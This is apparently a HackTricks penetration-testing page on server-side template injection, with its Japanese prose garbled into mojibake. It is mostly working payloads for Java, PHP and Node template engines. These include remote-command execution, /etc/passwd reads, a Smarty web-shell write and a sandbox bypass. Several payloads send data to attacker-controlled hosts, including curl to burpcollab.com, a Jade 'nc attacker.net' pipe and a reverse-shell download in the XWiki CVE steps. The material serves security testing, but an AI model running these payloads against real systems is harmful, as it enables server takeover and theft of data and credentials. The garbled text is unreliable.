SSTI (Server Side Template Injection)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
SSTIãšã¯ (Server-Side Template Injection)
Server-side template injectionã¯ãæ»æè ããµãŒããŒäžã§å®è¡ããããã³ãã¬ãŒãã«æªæã®ããã³ãŒããæ³šå ¥ã§ããè匱æ§ã§ãããã®è匱æ§ã¯ãJinjaãå«ãããŸããŸãªæè¡ã§èŠãããŸãã
Jinjaã¯Webã¢ããªã±ãŒã·ã§ã³ã§åºã䜿ãããŠãããã³ãã¬ãŒããšã³ãžã³ã§ããJinjaã䜿çšããè匱ãªã³ãŒãã¹ããããã®äŸãèŠãŠã¿ãŸããã:
output = template.render(name=request.args.get('name'))
ãã®è匱ãªã³ãŒãã§ã¯ããŠãŒã¶ãŒã®ãªã¯ãšã¹ãããã® name ãã©ã¡ãŒã¿ã render 颿°ã䜿ã£ãŠãã³ãã¬ãŒãã«çŽæ¥æž¡ãããŠããŸããããã«ãããæ»æè
ã name ãã©ã¡ãŒã¿ã«æªæã®ããã³ãŒããæ³šå
¥ããserver-side template injection ãåŒãèµ·ããå¯èœæ§ããããŸãã
äŸãã°ãæ»æè ã¯æ¬¡ã®ãã㪠payload ãå«ããªã¯ãšã¹ããäœæããããšãã§ããŸã:
http://vulnerable-website.com/?name={{bad-stuff-here}}
ãã€ããŒã {{bad-stuff-here}} 㯠name ãã©ã¡ãŒã¿ã«æ³šå
¥ãããŸãããã®ãã€ããŒãã«ã¯ Jinja ãã³ãã¬ãŒããã£ã¬ã¯ãã£ããå«ããããšãã§ããæ»æè
ãäžæ£ãªã³ãŒããå®è¡ããããã³ãã¬ãŒããšã³ãžã³ãæäœãããããŠãµãŒããŒãå¶åŸ¡ããå¯èœæ§ããããŸãã
server-side template injection è匱æ§ãé²ããããéçºè ã¯ãŠãŒã¶ãŒå ¥åããã³ãã¬ãŒãã«æ¿å ¥ãããåã«é©åã«ãµãã¿ã€ãºããã³æ€èšŒãããŠããããšã確èªããã¹ãã§ããå ¥åããªããŒã·ã§ã³ã®å®è£ ãã³ã³ããã¹ãã«å¿ãããšã¹ã±ãŒãææ³ã®å©çšã¯ããã®è匱æ§ã®ãªã¹ã¯è»œæžã«åœ¹ç«ã¡ãŸãã
æ€åº
Server-Side Template Injection (SSTI) ãæ€åºããã«ã¯ããŸã fuzzing the template ãç°¡åãªã¢ãããŒãã§ããããã«ã¯ãã³ãã¬ãŒãã«ç¹æ®æååïŒ${{<%[%'"}}%\ïŒã泚å
¥ããéåžžã®ããŒã¿ãšãã®ç¹æ®ãã€ããŒãã«å¯ŸãããµãŒããŒã®å¿çã®å·®ç°ãè§£æããããšãå«ãŸããŸããè匱æ§ã®ææšã«ã¯ä»¥äžãå«ãŸããŸã:
- ãšã©ãŒã®ã¹ããŒïŒè匱æ§ããã³å Žåã«ãã£ãŠã¯ãã³ãã¬ãŒããšã³ãžã³ãæããã«ããã
- ãªãã¬ã¯ã·ã§ã³ã«ãã€ããŒããååšããªãããŸãã¯äžéšãæ¬ æããŠããïŒãµãŒããŒãéåžžããŒã¿ãšç°ãªãæ¹æ³ã§åŠçããŠããããšã瀺åããã
- Plaintext Context: XSS ãšåºå¥ããã«ã¯ããµãŒããŒããã³ãã¬ãŒãåŒïŒäŸïŒ
{{7*7}},${7*7}ïŒãè©äŸ¡ããã確èªããã - Code Context: å
¥åãã©ã¡ãŒã¿ã倿ŽããŠè匱æ§ã確èªããŸããäŸãã°
http://vulnerable-website.com/?greeting=data.usernameã®greetingã倿ŽãããµãŒããŒã®åºåãgreeting=data.username}}helloã®ããã«ãŠãŒã¶ãŒåãè¿ããªã©åçãåºå®ãã確èªããã
èå¥ãã§ãŒãº
ãã³ãã¬ãŒããšã³ãžã³ã®ç¹å®ã¯ããšã©ãŒã¡ãã»ãŒãžã®åæãèšèªç¹æã®ãã€ããŒããæåã§ãã¹ãããããšã«ãã£ãŠè¡ããŸãããšã©ãŒãåŒãèµ·ããäžè¬çãªãã€ããŒãã«ã¯ ${7/0}, {{7/0}}, <%= 7/0 %> ãªã©ããããŸããæ°åŠæŒç®ã«å¯ŸãããµãŒããŒã®å¿çã芳å¯ããããšã§ãç¹å®ã®ãã³ãã¬ãŒããšã³ãžã³ãçµã蟌ããŸãã
ãã€ããŒãã«ããèå¥
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
ããŒã«
TInjA
æ°ãã polyglots ãå©çšããå¹çç㪠SSTI + CSTI ã¹ãã£ã
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
æãå¹çç㪠template injection polyglots ãšã44 ã®äž»èŠãª template engines ã®æ³å®ãããå¿çããŸãšããã€ã³ã¿ã©ã¯ãã£ããªè¡šã§ãã
Exploits
äžè¬
ãã® wordlist ã«ã¯ã以äžã«æããããã€ãã®ãšã³ãžã³ç°å¢ã§å®çŸ©ããã variables defined ãå«ãŸããŠããŸã:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - ã·ã¹ãã ã®ç°å¢å€æ°ãååŸãã
${T(java.lang.System).getenv()}
Java - /etc/passwd ãååŸ
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
payloads ã https://try.freemarker.apache.org ã§è©ŠããŸãã
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
â ïž Freemarker ã®ããŒãžã§ã³ 2.3.30 æªæºã§ã®ã¿åäœããŸã
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
詳现æ å ±
- FreeMarker ã®ã»ã¯ã·ã§ã³: https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
詳现æ å ±
- Velocity ã»ã¯ã·ã§ã³ã¯ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf ã§ã¯ãSSTI è匱æ§ã®äžè¬çãªãã¹ããšã㊠${7*7} ã®ãããªåŒã䜿ãããŸããããã¯ãã®ãã³ãã¬ãŒããšã³ãžã³ã«ãåœãŠã¯ãŸããŸããæœåšç㪠remote code execution ã®ããã«ã¯ã次ã®ãããªåŒã䜿çšã§ããŸã:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf ã¯ãããã®åŒãç¹å®ã®å±æ§å
ã«é
眮ããããšãèŠæ±ããŸãããã ããexpression inliningïŒåŒã®ã€ã³ã©ã€ã³åïŒã¯ [[...]] ã [(...)] ã®ãããªæ§æã䜿ã£ãŠä»ã®ãã³ãã¬ãŒãç®æã§ããµããŒããããŸãããããã£ãŠãåçŽãª SSTI ãã¹ããã€ããŒã㯠[[${7*7}]] ã®ããã«ãªããŸãã
ãããããã®ãã€ããŒããåäœããå¯èœæ§ã¯äžè¬çã«äœãã§ããThymeleaf ã®ããã©ã«ãèšå®ã¯åçãªãã³ãã¬ãŒãçæããµããŒãããŠãããããã³ãã¬ãŒãã¯äºåã«å®çŸ©ãããŠããå¿
èŠããããŸããéçºè
ãæååãããªã³ã¶ãã©ã€ã§ãã³ãã¬ãŒããäœæããããã«ã¯ç¬èªã® TemplateResolver ãå®è£
ããå¿
èŠããããããã¯äžè¬çã§ã¯ãããŸããã
Thymeleaf ã¯ãŸããããã«ã¢ã³ããŒã¹ã³ã¢ïŒ__...__ïŒå
ã®åŒãäºååŠçãã expression preprocessing ãæäŸããŸãããã®æ©èœã¯åŒã®æ§ç¯ã«å©çšã§ããThymeleaf ã®ããã¥ã¡ã³ãã§ç€ºãããŠããããã«äœ¿çšã§ããŸã:
#{selection.__${sel.code}__}
Thymeleafã«ãããè匱æ§ã®äŸ
以äžã®ã³ãŒãã¹ããããã¯æªçšãããå¯èœæ§ããããŸã:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
ããã¯ããã³ãã¬ãŒããšã³ãžã³ããããã®å ¥åãäžé©åã«åŠçãããšã次ã®ãããªURLã«ã¢ã¯ã»ã¹ãã remote code execution ãåŒãèµ·ããå¯èœæ§ãããããšã瀺ããŠããŸã:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
詳现æ å ±
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
ãã£ã«ã¿ãŒããã€ãã¹
è€æ°ã®å€æ°åŒã䜿çšã§ããŸãã${...}ãåäœããªãå Žåã¯#{...}ã*{...}ã@{...}ããŸãã¯~{...}ã詊ããŠãã ããã
/etc/passwdãèªã¿åã
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Custom Script ã䜿ã£ã payload ã®çæ
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
詳现æ å ±
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebbleã®å€ãããŒãžã§ã³ ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble ã®æ°ããããŒãžã§ã³ :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjavaã¯HubspotãéçºãããªãŒãã³ãœãŒã¹ãããžã§ã¯ãã§ãhttps://github.com/HubSpot/jinjava/ã§å©çšã§ããŸãã
Jinjava - Command execution
ä¿®æ£ã¯ https://github.com/HubSpot/jinjava/pull/230 ã«ãã£ãŠè¡ãããŸããã
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
詳现æ å ±
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava
Hubspot - HuBL (Java)
{% %}ã¹ããŒãã¡ã³ãããªãã¿{{ }}åŒããªãã¿{# #}ã³ã¡ã³ãããªãã¿{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- âAâ{{'a'.concat('b')}}- âabâ{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for âcom.hubspot.content.hubl.context.TemplateContextRequestâ ãšæ€çŽ¢ãããšãJinjava project on Github ãèŠã€ãããŸããã
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
詳现æ å ±
åŒèšèª - ELïŒJavaïŒ
${"aaaa"}- âaaaaâ${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression LanguageïŒELïŒã¯ãJavaEEã«ããããã¬ãŒã³ããŒã·ã§ã³å±€ïŒwebããŒãžãªã©ïŒãšã¢ããªã±ãŒã·ã§ã³ããžãã¯ïŒmanaged beansãªã©ïŒã®éã®çžäºäœçšã容æã«ããåºæ¬çãªæ©èœã§ããéä¿¡ãç°¡çŽ åããããã«è€æ°ã®JavaEEæè¡ã§åºã䜿çšãããŠããŸããELãå©çšããäž»ãªJavaEEæè¡ã¯ä»¥äžã®ãšããã§ãïŒ
- JavaServer Faces (JSF)ïŒJSFããŒãžã®ã³ã³ããŒãã³ãã察å¿ããããã¯ãšã³ãããŒã¿ãã¢ã¯ã·ã§ã³ã«ãã€ã³ãããããã«ELã䜿çšããŸãã
- JavaServer Pages (JSP)ïŒJSPããŒãžå ã®ããŒã¿ãžã¢ã¯ã»ã¹ããã³æäœããããã«ELã䜿çšãããããŒãžèŠçŽ ãšã¢ããªã±ãŒã·ã§ã³ããŒã¿ã®çµã³ã€ãã容æã«ããŸãã
- Contexts and Dependency Injection for Java EE (CDI)ïŒELã¯CDIãšçµ±åããããŠã§ãå±€ãšmanaged beanséã®ã·ãŒã ã¬ã¹ãªçžäºäœçšãå¯èœã«ããããäžè²«ããã¢ããªã±ãŒã·ã§ã³æ§é ãå®çŸããŸãã
以äžã®ããŒãžã確èªããŠã exploitation of EL interpreters ã«ã€ããŠè©³ããåŠãã§ãã ããïŒ
GroovyïŒJavaïŒ
The following Security Manager bypasses were taken from this writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki †15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) 㯠Main.SolrSearch ãã¯ããéããŠèªèšŒäžèŠã® RSS æ€çŽ¢ãã£ãŒããã¬ã³ããªã³ã°ããŸãããã³ãã©ã¯ text ã¯ãšãªãã©ã¡ãŒã¿ãåãåããwiki æ§æã§ã©ããããŠãã¯ããè©äŸ¡ããããã}}} ã®åŸã« {{groovy}} ãæ³šå
¥ãããš JVM äžã§ä»»æã® Groovy ãå®è¡ãããŸãã
- ãã£ã³ã¬ãŒããªã³ããšç¯å² â XWiki ããã¹ãããŒã¹ã®ã«ãŒãã£ã³ã°ã®èåŸã§ãªããŒã¹ãããã·ãããŠããå Žåãwiki ã® vhost ãçºèŠããããã«
Hostãããããã¡ãºããŠãã ããïŒffuf -u http://<ip> -H "Host: FUZZ.target" ...ïŒããã®åŸ/xwiki/bin/view/Main/ãé²èЧããããã¿ãŒïŒXWiki Debian 15.10.8ïŒã確èªããŠè匱ãªãã«ããç¹å®ããŸãã - Trigger SSTI â Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS ã¢ã€ãã ã®<title>ã« Groovy ã®åºåãå«ãŸããŸããã¹ããŒã¹ã%20ã®ãŸãŸã«ãªãããã«åžžã«ãã¹ãŠã®æåã URL ãšã³ã³ãŒãããŠãã ããïŒ+ã«çœ®ãæãããš XWiki ã HTTP 500 ãè¿ããŸãã - OS ã³ãã³ããå®è¡ â Groovy æ¬æã
{{groovy}}println("id".execute().text){{/groovy}}ã«å·®ãæ¿ããŸããString.execute()ã¯execve()ã§çŽæ¥ã³ãã³ããçæãããããã·ã§ã«ã®ã¡ã¿æåïŒ|,>,&ïŒã¯è§£éãããŸããã代ããã«ããŠã³ããŒãããŠå®è¡ãããã¿ãŒã³ã䜿çšããŠãã ãã:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(ãã®ã¹ã¯ãªããããªããŒã¹ã·ã§ã«ã®ããžãã¯ãæã¡ãŸã).
- Post exploitation â XWiki ã¯ããŒã¿ããŒã¹ã®èªèšŒæ
å ±ã
/etc/xwiki/hibernate.cfg.xmlã«ä¿åããŸãïŒleakinghibernate.connection.password㯠SSH ã§åå©çšå¯èœãªå®ã·ã¹ãã ã®ãã¹ã¯ãŒããåŸãããŸãããµãŒãã¹ãŠããããNoNewPrivileges=trueãèšå®ããŠããå Žåã/bin/suã®ãããªããŒã«ã¯æå¹ãªãã¹ã¯ãŒãããã£ãŠãè¿œå æš©éãåŸãããªããããããŒã«ã«ã® SUID ãã€ããªã«é Œãã®ã§ã¯ãªã SSH çµç±ã§ããããããŠãã ããã
åããã€ããŒã㯠/xwiki/bin/get/Main/SolrSearch ã§ãåäœããGroovy ã® stdout ã¯åžžã« RSS ã®ã¿ã€ãã«ã«åã蟌ãŸãããããã³ãã³ãã®åæãã¹ã¯ãªããåããã®ã¯å®¹æã§ãã
ãã®ä»ã® Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
詳现æ å ±
- Smarty ã»ã¯ã·ã§ã³å : https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - ãã³ãã¬ãŒã圢åŒ
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
詳现æ å ±
- https://portswigger.net/research/server-side-template-injection ã® Twig ãš Twig (Sandboxed) ã»ã¯ã·ã§ã³
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates 㯠PHP ãã€ãã£ãã®ãã³ãã¬ãŒããšã³ãžã³ã§ãTwig ã«è§ŠçºãããŠããŸãã
ããããæ°ããæ§æãå°å
¥ãã Twig ãšç°ãªããPlates ã¯ãã³ãã¬ãŒãå
ã§ãã€ãã£ã㪠PHP ã³ãŒããæŽ»çšãããããPHP éçºè
ã«ãšã£ãŠçŽæçã§ãã
ã³ã³ãããŒã©:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
ããŒãžãã³ãã¬ãŒã:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
ã¬ã€ã¢ãŠããã³ãã¬ãŒã:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
詳现æ å ±
PHPlib ãš HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB 㯠PHPlib ãšåãã§ãã Pear ã«ç§»æ€ãããŠããŸãã
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
詳现æ å ±
ãã®ä»ã® PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
